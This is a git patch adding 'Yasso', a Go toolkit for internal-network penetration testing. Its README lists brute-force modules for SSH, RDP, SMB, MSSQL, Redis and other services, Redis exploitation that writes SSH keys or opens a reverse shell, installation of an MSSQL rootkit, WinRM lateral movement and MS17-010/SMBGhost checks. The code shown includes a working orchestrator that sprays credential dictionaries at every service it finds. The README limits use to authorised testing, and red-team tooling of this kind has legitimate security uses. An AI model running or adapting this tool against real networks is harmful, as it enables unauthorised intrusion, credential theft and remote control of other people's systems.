From 2b2d988ae9183be39c8bd020f96cf37af03a9df3 Mon Sep 17 00:00:00 2001 From: SaiRson <74412075+sairson@users.noreply.github.com> Date: Wed, 5 Jan 2022 22:23:51 +0800 Subject: [PATCH] Add files via upload first upload --- README.md | 415 ++++ cmd/all.go | 132 ++ cmd/brute.go | 237 ++ cmd/dismap.go | 676 ++++++ cmd/eternalblue.go | 139 ++ cmd/fasthttp.go | 423 ++++ cmd/ftp.go | 62 + cmd/grdp.go | 167 ++ cmd/icmp.go | 153 ++ cmd/log4j.go | 110 + cmd/logger.go | 32 + cmd/mongo.go | 125 + cmd/mssql.go | 535 +++++ cmd/mysql.go | 112 + cmd/postgres.go | 62 + cmd/ps.go | 144 ++ cmd/redis.go | 416 ++++ cmd/resolve.go | 158 ++ cmd/root.go | 44 + cmd/smb.go | 92 + cmd/smbghost.go | 120 + cmd/ssh.go | 198 ++ cmd/static/SharpSQLKit.txt | 1 + cmd/static/WarSQLKit.dll | Bin 0 -> 1237504 bytes cmd/tools.go | 148 ++ cmd/version.go | 17 + cmd/vuln.go | 78 + cmd/winrm.go | 116 + cmd/winscan.go | 557 +++++ config/config.go | 79 + config/rule.go | 4619 ++++++++++++++++++++++++++++++++++++ go.mod | 28 + go.sum | 944 ++++++++ main.go | 14 + 34 files changed, 11153 insertions(+) create mode 100644 README.md create mode 100644 cmd/all.go create mode 100644 cmd/brute.go create mode 100644 cmd/dismap.go create mode 100644 cmd/eternalblue.go create mode 100644 cmd/fasthttp.go create mode 100644 cmd/ftp.go create mode 100644 cmd/grdp.go create mode 100644 cmd/icmp.go create mode 100644 cmd/log4j.go create mode 100644 cmd/logger.go create mode 100644 cmd/mongo.go create mode 100644 cmd/mssql.go create mode 100644 cmd/mysql.go create mode 100644 cmd/postgres.go create mode 100644 cmd/ps.go create mode 100644 cmd/redis.go create mode 100644 cmd/resolve.go create mode 100644 cmd/root.go create mode 100644 cmd/smb.go create mode 100644 cmd/smbghost.go create mode 100644 cmd/ssh.go create mode 100644 cmd/static/SharpSQLKit.txt create mode 100644 cmd/static/WarSQLKit.dll create mode 100644 cmd/tools.go create mode 100644 cmd/version.go create mode 100644 cmd/vuln.go create mode 100644 cmd/winrm.go create mode 100644 cmd/winscan.go create mode 100644 config/config.go create mode 100644 config/rule.go create mode 100644 go.mod create mode 100644 go.sum create mode 100644 main.go diff --git a/README.md b/README.md new file mode 100644 index 0000000..b5c85af --- /dev/null +++ b/README.md @@ -0,0 +1,415 @@ +

👾 Yasso - 亚索 👾

+ +![go](https://img.shields.io/badge/Go-1.16.4-blue) + +## 介绍 😈 +Yasso 将作为一款内网辅助渗透工具集发布,它集合了许多实用功能,来帮助`Red team`成员在内网极端环境下的工具使用以及`Blue team`成员的内网自检,并且程序加入了代理功能以及`ants`的扫描并发,在实现功能的同时追求准确和速度 +使用格式为 + +``` +Yasso [模块] [参数1] [参数2] [参数...] +``` + +模块里面的 `Flag` 代表当前命令的参数,`Global Flags` 代表全局参数(所有命令都可以用) + +## 程序功能模块 👻 + +目前已有用功能模块 : + +all模块: 调用全部模块的完全扫描方式,速度更快,能力更强,ants与并发的完美结合 + +``` +Usage: + Yasso all [flags] + +Flags: + -h, --help help for all + -H, --host hosts Set hosts(The format is similar to Nmap) + --noping No use ping to scanner alive host (default true) + -P, --ports ports Set ports(The format is similar to Nmap) + --proxy string Set socks5 proxy + --runtime int Set scanner ants pool thread (default 100) + --time duration Set timeout (default 1s) +``` + +ping模块: 普通用户权限调用系统ping,root权限可以选择使用icmp数据包 + +``` +Use ping or icmp to scanner alive host + +Usage: + Yasso ping [flags] + +Flags: + -h, --help help for ping + -H, --host hosts Set hosts(The format is similar to Nmap) + -i, --icmp Icmp packets are sent to check whether the host is alive(need root) +``` + + +crack模块: 强大的爆破模块和利用工具集 - 子工具集 +``` +Available Commands: + ftp ftp burst module (support proxy) + grdp RDP burst module (support proxy) + log4j Open a socket listener to test log4J vulnerabilities offline + mongo MongoDB burst module (support proxy) + mssql SQL Server burst module and extend tools (not support proxy) + mysql MYSQL burst module and extend tools (support proxy) + postgres PostgreSQL burst module (not support proxy) + redis Redis burst and Redis extend tools (support proxy) + smb Smb burst module (not support proxy) + ssh SSH burst and SSH extend tools (support proxy) + winrm winrm burst and extend tools (support proxy) + +Flags: + --crack make sure to use crack + -h, --help help for crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +程序主要分为多个子命令功能,每个功能都详细标注了用法,这里详细介绍子功能 +
+ftp ftp服务爆破模块 - 支持socks5代理 + +``` +Flags: + -h, --help help for ftp + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+grdp rdp服务爆破模块 - 支持socks5代理 + +``` +Flags: + --domain string set host domain + -h, --help help for grdp + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+log4j log4j2 服务器 - 用于内网不出网手动的log4j漏洞检测 + +``` +Flags: + -b, --bind string socket listen address (default "0.0.0.0:4568") + -h, --help help for log4j + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+mongo mongodb服务爆破模块 - 支持socks5代理 + +``` +Flags: + -h, --help help for mongo + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+mssql sql server 服务爆破模块和提权辅助模块 - 不支持socks5代理 + +``` +Flags: + --cld string Execute WarSQLKit Command (eg.) --cld "whoami" + -c, --cmd string Execute System command + -h, --help help for mssql + --hostname string Remote Connect mssql address(brute param need false) + --inkit int install mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)] + --kithelp int print SQLKit Use help + --method int Execute System command method [1,xpshell] [2,oleshell] (default 1) + --pass string Login ssh password + -s, --sql string Execute sql command + --unkit int uninstall mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)] + --upload stringArray Use ole upload file (.eg) source,dest + --user string Login ssh username (default "sa") + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+mysq mysql服务爆破模块和数据库查询 - 支持socks5代理 + +``` +Flags: + -C, --cmd string mysql sql command + -h, --help help for mysql + --hostname string Remote Connect a Mysql (brute param need false) + --pass string Login ssh password + --shell create sql shell to exec sql command + --user string Login ssh username + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+postgres PostgreSQL服务爆破模块 - 不支持socks5代理 + +``` +Flags: + -h, --help help for postgres + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+redis redis服务爆破模块,未授权检测,一键利用(写公钥,反弹shell) - 支持socks5代理 + +``` +Flags: + -h, --help help for redis + --hostname string Redis will connect this address + --pass string set login pass + --rebound string Rebound shell address (eg.) 192.168.1.1:4444 + --rekey string Write public key to Redis (eg.) id_rsa.pub + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+smb smb服务爆破模块 - 不支持socks5代理 + +``` +Flags: + -h, --help help for smb + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+ssh ssh服务爆破模块,完全交互shell连接 - 支持socks5代理 + +``` +Flags: + -h, --help help for ssh + --hostname string Open an interactive SSH at that address(brute param need false) + --key string ssh public key path + --pass string Login ssh password + --user string Login ssh username + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+winrm winrm服务爆破模块,命令执行横向 - 支持socks5代理 + +``` +Flags: + -c, --cmd string Execute system command + -h, --help help for winrm + --hostname string Open an interactive SSH at that address(brute param need false) + --pass string Login ssh password + --shell Get a cmd shell with WinRM + --user string Login ssh username + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ + +ps 模块: 采用ants协程的端口扫描,速度更快,更准确 - 不支持socks5代理 + +``` +Usage: + Yasso ps [flags] + +Flags: + -h, --help help for ps + -H, --hosts hosts Set hosts(The format is similar to Nmap) + -p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389 + -r, --runtime int Set scanner ants pool thread (default 100) + -t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 500ms) +``` + +vulscan 模块: 主机漏洞扫描-支持ms17010,smbghost漏洞 - 支持socks5代理 + +``` +Usage: + Yasso vulscan [flags] + +Flags: + --all scan all vuln contains ms17010,smbghost + --gs scan smbghost + -h, --help help for vulscan + -H, --hosts hosts Set hosts(The format is similar to Nmap) + --ms scan ms17010 + --proxy string Set socks5 proxy +``` + +webscan模块: 完全的dismap移植,拥有更将强大的指纹识别 - 支持socks5代理 + +``` +Usage: + Yasso webscan [flags] + +Flags: + -h, --help help for webscan + -H, --hosts hosts Set hosts(The format is similar to Nmap) + --ping Use ping to scan alive host + -p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389 + --proxy string Set socks5 proxy and use it + -r, --runtime int Set scanner ants pool thread (default 508) + -t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 1s) +``` + + +winscan模块: windows主机的netbios识别,oxid网卡发现,smb主机指纹 - 支持socks5代理 + +``` +netbios、smb、oxid scan + +Usage: + Yasso winscan [flags] + +Flags: + --all Set all flag and use oxid,netbios,smb scan (default true) + -h, --help help for winscan + -H, --hosts hosts Set hosts(The format is similar to Nmap) + --netbios Set netbios flag and use netbios scan + --oxid Set oxid flag and use oxid scan + --proxy string Set socks5 proxy and use it + --smb Set smb flag and use smb scan + --time duration Set net conn timeout (default 1s) +``` + +## 使用例子👿 + + +## 工具优势🤡 + +- 命令简单方便,模块功能调用简洁明了,方便拓展和添加各种新功能 +- 集合了大量的常用功能,使得Yasso并不像常规的扫描器,而是作为工具集 +- 强大的SQL渗透辅助功能,提供了常见的redis,mysql,mssql等数据库的一键提权和数据库操作 +- 强大的并发爆破,使得大字典能获取更快的速度 +- rdp和winrm的强势加入,使得内网横向更加迅速和方便快捷 + +## 免责声明🧐 + +本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 + +在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描,这一点十分重要** + +如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 + +在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 + +## 工具编写参考链接👀 +``` +https://github.com/shadow1ng/fscan +https://github.com/k8gege/LadonGo +https://github.com/zyylhn/zscan +https://github.com/uknowsec/SharpSQLTools +https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit +https://github.com/masterzen/winrm +https://github.com/tomatome/grdp +https://github.com/panjf2000/ants +``` + diff --git a/cmd/all.go b/cmd/all.go new file mode 100644 index 0000000..71e26d1 --- /dev/null +++ b/cmd/all.go @@ -0,0 +1,132 @@ +package cmd + +import ( + "Yasso/config" + "fmt" + "github.com/spf13/cobra" + "sync" + "time" +) + +/* + 全体扫描模块 + 将逐步执行每个任务 +*/ + +func printHeader(){ + +} + + + +var allCmd = &cobra.Command{ + Use: "all", + Short: "Use all scanner module (.attention)\nSome service not support proxy,You might lose it [*]", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == "" { + _ = cmd.Help() + return + } + + allRun(Hosts,Ports,LogBool,Runtime,PingBool) + return + }, +} + +func init(){ + allCmd.Flags().StringVarP(&Hosts,"host","H","","Set `hosts`(The format is similar to Nmap)") + allCmd.Flags().StringVarP(&Ports,"ports","P","","Set `ports`(The format is similar to Nmap)") + allCmd.Flags().BoolVar(&PingBool,"noping",true,"No use ping to scanner alive host") + allCmd.Flags().IntVar(&Runtime,"runtime",100,"Set scanner ants pool thread") + allCmd.Flags().StringVar(&ProxyHost,"proxy","","Set socks5 proxy") + allCmd.Flags().DurationVar(&TimeDuration,"time",1 * time.Second,"Set timeout ") + rootCmd.AddCommand(allCmd) +} + +func allRun(hostString string,portString string,log bool,runtime int,noping bool){ + // 先对程序进行ping扫描 + // 解析hosts + var ( + ips []string + ports []int + webports []int + alive []string + wg sync.WaitGroup + ) + if hostString != "" { + ips,_ = ResolveIPS(hostString) // 解析ip并获取ip列表 + } + if Ports != "" { + ports ,_ = ResolvePORTS(portString) + webports,_ = ResolvePORTS(config.DisMapPorts) + }else{ + ports ,_ = ResolvePORTS(DefaultPorts) + webports,_ = ResolvePORTS(config.DisMapPorts) + } + + if noping == true { + // 不执行ping操作 + alive = ips + }else{ + // 执行 ping 操作 + fmt.Println("----- [Yasso] Start do ping scan -----") + alive = execute(ips) + } + // 做漏洞扫描 + if len(alive) > 0 { + fmt.Println("----- [Yasso] Start do vuln scan -----") + VulScan(alive,false,true,false) // 做全扫描 + fmt.Println("----- [Yasso] Start do port scan -----") + PortResults := PortScan(alive,ports) + // 获取我们的端口扫描结果,去遍历 + if len(PortResults) != 0 { + fmt.Println("----- [Yasso] Start do crack service -----") + for _,v := range PortResults { + // 这里做漏洞扫描 + wg.Add(1) + go func(v PortResult) { + defer wg.Done() + for _,p := range v.Port { + switch p { + case 21: + users,pass := ReadTextToDic("ftp",UserDic,PassDic) + burpTask(v.IP,"ftp",users,pass,p,100,1*time.Second,"",false) + case 22: + users,pass := ReadTextToDic("ssh",UserDic,PassDic) + burpTask(v.IP,"ssh",users,pass,p,100,1*time.Second,"",false) + case 3306: + users,pass := ReadTextToDic("mysql",UserDic,PassDic) + burpTask(v.IP,"mysql",users,pass,p,100,1*time.Second,"",false) + case 6379: + _,_,_ = RedisUnAuthConn(config.HostIn{Host: v.IP,Port: p,TimeOut:1 * time.Second},"test","test") + users,pass := ReadTextToDic("redis",UserDic,PassDic) + burpTask(v.IP,"redis",users,pass,p,100,5*time.Second,"",false) + case 1433: + users,pass := ReadTextToDic("mssql",UserDic,PassDic) + burpTask(v.IP,"mssql",users,pass,p,100,1*time.Second,"",false) + case 5432: + users,pass := ReadTextToDic("postgres",UserDic,PassDic) + burpTask(v.IP,"postgres",users,pass,p,100,1*time.Second,"",false) + case 27017: + _,_ = MongoUnAuth(config.HostIn{Host: v.IP,Port: p,TimeOut: 1*time.Second},"test","test") + users,pass := ReadTextToDic("mongodb",UserDic,PassDic) + burpTask(v.IP,"mongodb",users,pass,p,100,1*time.Second,"",false) + case 445: + users,pass := ReadTextToDic("smb",UserDic,PassDic) + burpTask(v.IP,"smb",users,pass,p,100,1*time.Second,"",false) + case 5985: + users,pass := ReadTextToDic("rdp",UserDic,PassDic) // winrm与本地rdp认证相同 + burpTask(v.IP,"winrm",users,pass,p,100,1*time.Second,"",false) + } + } + }(v) + } + wg.Wait() + } + // 做网卡扫描 + fmt.Println("----- [Yasso] Start do Windows service scan -----") + winscan(alive,true) + fmt.Println("----- [Yasso] Start do web service scan -----") + DisMapScan(alive,webports) + } +} \ No newline at end of file diff --git a/cmd/brute.go b/cmd/brute.go new file mode 100644 index 0000000..c3511a2 --- /dev/null +++ b/cmd/brute.go @@ -0,0 +1,237 @@ +package cmd + +import ( + "Yasso/config" + "bufio" + "fmt" + "github.com/panjf2000/ants/v2" + "github.com/spf13/cobra" + "io" + "log" + "math" + "os" + "reflect" + "strings" + "sync" + "time" +) + +// 爆破模块 + +const ( + Clearln = "\r\x1b[2K" +) + +var BruteCmd = &cobra.Command{ + Use: "crack", + Short: "crack module and extend tool", + Run: func(cmd *cobra.Command, args []string) { + cmd.DisableFlagsInUseLine = true + _ = cmd.Help() + }, +} + +func init(){ + // 添加全局变量 + BruteCmd.PersistentFlags().StringVarP(&Hosts,"hosts","H","","to crack hosts address (crack Must)") + BruteCmd.PersistentFlags().IntVar(&BrutePort,"port",0,"to crack hosts port (if not set use default)") + BruteCmd.PersistentFlags().IntVar(&Runtime,"runtime",100,"set crack thread number") + BruteCmd.PersistentFlags().BoolVarP(&BruteFlag,"crack","",false,"make sure to use crack") + BruteCmd.PersistentFlags().DurationVar(&TimeDuration,"timeout",1 * time.Second,"crack module timeout(.eg) 1s (ns,ms,s,m,h)") + BruteCmd.PersistentFlags().StringVar(&PassDic,"pd","","pass dic path (.eg) pass.txt") + BruteCmd.PersistentFlags().StringVar(&UserDic,"ud","","user dic path (.eg) user.txt") + BruteCmd.PersistentFlags().StringVar(&ProxyHost,"proxy","","set socks5 proxy address") + BruteCmd.AddCommand(SshCmd) + BruteCmd.AddCommand(WinRMCmd) + BruteCmd.AddCommand(SmbCmd) + BruteCmd.AddCommand(Log4jCmd) + BruteCmd.AddCommand(RedisCmd) + BruteCmd.AddCommand(RdpCmd) + BruteCmd.AddCommand(MysqlCmd) + BruteCmd.AddCommand(MssqlCmd) + BruteCmd.AddCommand(FtpCmd) + BruteCmd.AddCommand(PostgreCmd) + BruteCmd.AddCommand(MongoCmd) + rootCmd.AddCommand(BruteCmd) +} + +var BurpModule = map[string]interface{}{ + "ssh":SshConnByUser, + "mysql":MySQLConn, + "mssql":MssqlConn, + "redis":RedisAuthConn, + "unredis":RedisUnAuthConn, // redis 未授权 + "postgres":PostgreConn, + "smb":SmbConn, + "ftp":FtpConn, + "rdp":RdpConn, + "winrm":WinRMAuth, + "mongodb":MongoAuth, + "unmongodb":MongoUnAuth, // mongodb 未授权 +} + + +func BurpCall(EncryptMap map[string]interface{},name string,params ...interface{}) []reflect.Value { + f := reflect.ValueOf(EncryptMap[name]) // 获取map键位name的值 + if len(params) != f.Type().NumIn() { // 如果参数的值不等于函数所需要的值 + log.Println(fmt.Sprintf("[ERROR] Burp Call Func key name %s is failed",name)) + os.Exit(1) + } + args := make([]reflect.Value,len(params)) + for k,param := range params { + if param == "" || param == 0 { + continue + } + //Println()(param) + args[k] = reflect.ValueOf(param) + } + //Println()(args) + return f.Call(args) // 调用函数并返回结果 +} + +func SwitchBurp(service string,users []string,pass []string,hosts []string,port int,thread int,timeout time.Duration,Domain string){ + // 传入的参数均为3个 + // 调用方式 + var tunnel = make(chan string,20) + var wg sync.WaitGroup + go func() { + for _,ip := range hosts{ + tunnel <- ip + } + }() + for i:=0;i 0 { + for _,v := range result { + switch v.Kind() { + case reflect.Bool: + if v.Bool() == true { + if domain != ""{ + domain = domain+"\\" + } + Println(fmt.Sprintf(Clearln + `[+] %s brute %s success [%v%s:%s]`,host,service,domain,user,pass)) + } + } + } + } +} + + +func Readiness(file *os.File) []string { + var readiness []string /*定义一个空切片用于存储遍历后的数据*/ + buf := bufio.NewReader(file) /*建立一个缓冲区,将文本内容写入缓冲区*/ + for { + data, errR := buf.ReadBytes('\n') /*读取到\n截至*/ + if errR != nil { + if errR == io.EOF{ + break + } + return readiness + } + str := strings.TrimSpace(string(data)) + readiness = append(readiness,str) /*将去除换行符的字符串写入切片*/ + } + return readiness +} + + +func ReadTextToDic(service,user,pass string) ([]string,[]string){ + var ( + userdic = config.Userdict[service] + passdic = config.Passwords + ) + if user != "" { + userive, err := os.Open(user) + if err != nil { + Println(fmt.Sprintf(Clearln + "[ERROR] Open %s is failed,please check your user dic path",UserDic)) + return []string{},[]string{} + } + userdic = Readiness(userive) + } + if pass != "" { + passive, err := os.Open(pass) + if err != nil { + Println(fmt.Sprintf(Clearln + "[ERROR] Open %s is failed,please check your pass dic path",PassDic)) + return []string{},[]string{} + } + passdic = Readiness(passive) + } + return userdic,passdic +} \ No newline at end of file diff --git a/cmd/dismap.go b/cmd/dismap.go new file mode 100644 index 0000000..d8800c1 --- /dev/null +++ b/cmd/dismap.go @@ -0,0 +1,676 @@ +package cmd + +import ( + "Yasso/config" + "fmt" + "github.com/spf13/cobra" + "math" + "regexp" + "runtime" + "strconv" + "sync" + "time" +) + +func init(){ + rootCmd.AddCommand(DisMapCmd) + DisMapCmd.Flags().DurationVarP(&TimeDuration,"time","t",1 * time.Second,"Set timeout (eg.) -t 50ms(ns,ms,s,m,h)") + DisMapCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)") + DisMapCmd.Flags().StringVarP(&Ports,"ports","p","","Set `ports`(The format is similar to Nmap)(eg.) 1-2000,3389") + DisMapCmd.Flags().IntVarP(&Runtime,"runtime","r",508,"Set scanner ants pool thread") + DisMapCmd.Flags().BoolVar(&PingBool,"ping",false,"Use ping to scan alive host") + DisMapCmd.Flags().StringVar(&ProxyHost,"proxy","","Set socks5 proxy and use it ") +} + +var DisMapCmd = &cobra.Command{ + Use: "webscan", + Short: "Use dismap module discover Web fingerprints (support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == "" { + _ = cmd.Help() + return + } + var ports []int + hosts ,_ := ResolveIPS(Hosts) + var runhosts []string + if PingBool == true { + runhosts = execute(hosts) + }else{ + runhosts = hosts + } + // 解析获取ip地址 + + if Ports != "" { + ports, _ = ResolvePORTS(Ports) + }else{ + ports ,_ = ResolvePORTS(config.DisMapPorts) + } + Println(fmt.Sprintf("[Yasso] Find Host %v,Need scan %v",len(runhosts),len(runhosts) * len(ports))) + if len(hosts) <= 0 || len(ports) <= 0 { + // resolve failed + return + } + DisMapScan(runhosts,ports) + Println("[Yasso] scan Complete !") + }, +} + + + + +func DisMapScan(host []string,ports []int){ + var wg sync.WaitGroup + for _,ip := range host{ + wg.Add(1) + EachDisMap(ip,ports,&wg) + } + wg.Wait() +} + + +func EachDisMap(host string,ports[]int,w *sync.WaitGroup){ + defer w.Done() + var wg sync.WaitGroup + // 计算一个协程需要扫描多少端口 + var thread int + // 如果端口数小于协程数量,thread为端口数量 + if len(ports) <= Runtime { + thread = len(ports) + }else{ + // 计算端口数量 + thread = Runtime // 协程数量 + } + num := int(math.Ceil(float64(len(ports)) / float64(thread))) // 每个协程的端口数量 + + // 分割端口 + all := map[int][]int{} + for i:=1;i <= thread;i++{ + for j:=0;j < num ; j++{ + tmp := (i-1)*num + j + if tmp < len(ports) { + all[i] = append(all[i],ports[tmp]) + } + } + } + //Println(all) + + for i:= 1 ; i <= thread ; i++{ + wg.Add(1) + tmp := all[i] + go func() { + defer wg.Done() + // 1,2 2,3 + //Println(i,thread) + for _,port := range tmp { + // 遍历每一个端口列表 + DisMapConn(host,port) + } + + }() + } + wg.Wait() +} + + + +func DisMapConn(host string,port int) bool { + + url := ParseUrl(host, strconv.Itoa(port)) + for _,r := range Identify (url,TimeDuration){ + if r.RespCode != ""{ + Println(fmt.Sprintf("[+] %v %v %v %v",r.RespCode,r.Url,r.Result,r.Title)) + } + } + return true +} + + +type IdentifyResult struct { + Type string + RespCode string + Result string + ResultNc string + Url string + Title string +} + +func Identify(url string, timeout time.Duration) []IdentifyResult { + var DefaultFavicon string + var CustomFavicon string + var DefaultTarget string + var CustomTarget string + var Favicon string + var RequestRule string + var RespTitle string + var RespBody string + var RespHeader string + var RespCode string + var DefaultRespTitle string + var DefaultRespBody string + var DefaultRespHeader string + var DefaultRespCode string + var CustomRespTitle string + var CustomRespBody string + var CustomRespHeader string + var CustomRespCode string + for _, resp := range DefaultRequests(url, timeout) { // Default Request + DefaultRespBody = resp.RespBody + DefaultRespHeader = resp.RespHeader + DefaultRespCode = resp.RespStatusCode + DefaultRespTitle = resp.RespTitle + DefaultTarget = resp.Url + DefaultFavicon = resp.FaviconMd5 + } + // start identify + var identifyData []string + var successType string + for _, rule := range config.RuleData { + if rule.Http.ReqMethod != "" { // Custom Request Result + for _, resp := range CustomRequests(url, timeout, rule.Http.ReqMethod, rule.Http.ReqPath, rule.Http.ReqHeader, rule.Http.ReqBody) { + CustomRespBody = resp.RespBody + CustomRespHeader = resp.RespHeader + CustomRespCode = resp.RespStatusCode + CustomRespTitle = resp.RespTitle + CustomTarget = resp.Url + CustomFavicon = resp.FaviconMd5 + } + url = CustomTarget + Favicon = CustomFavicon + RespBody = CustomRespBody + RespHeader = CustomRespHeader + RespCode = CustomRespCode + RespTitle = CustomRespTitle + // If the http request fails, then RespBody and RespHeader are both null + // At this time, it is considered that the url does not exist + if RespBody == RespHeader { + continue + } + if rule.Mode == "" { + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "CustomRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + } + if rule.Mode == "or" { + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + } + if rule.Mode == "and" { + index := 0 + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + index = index + 1 + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + index = index + 1 + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + index = index + 1 + } + } + if index == 2 { + identifyData = append(identifyData, rule.Name) + RequestRule = "CustomRequest" + } + } + if rule.Mode == "and|and" { + index := 0 + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + index = index + 1 + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, 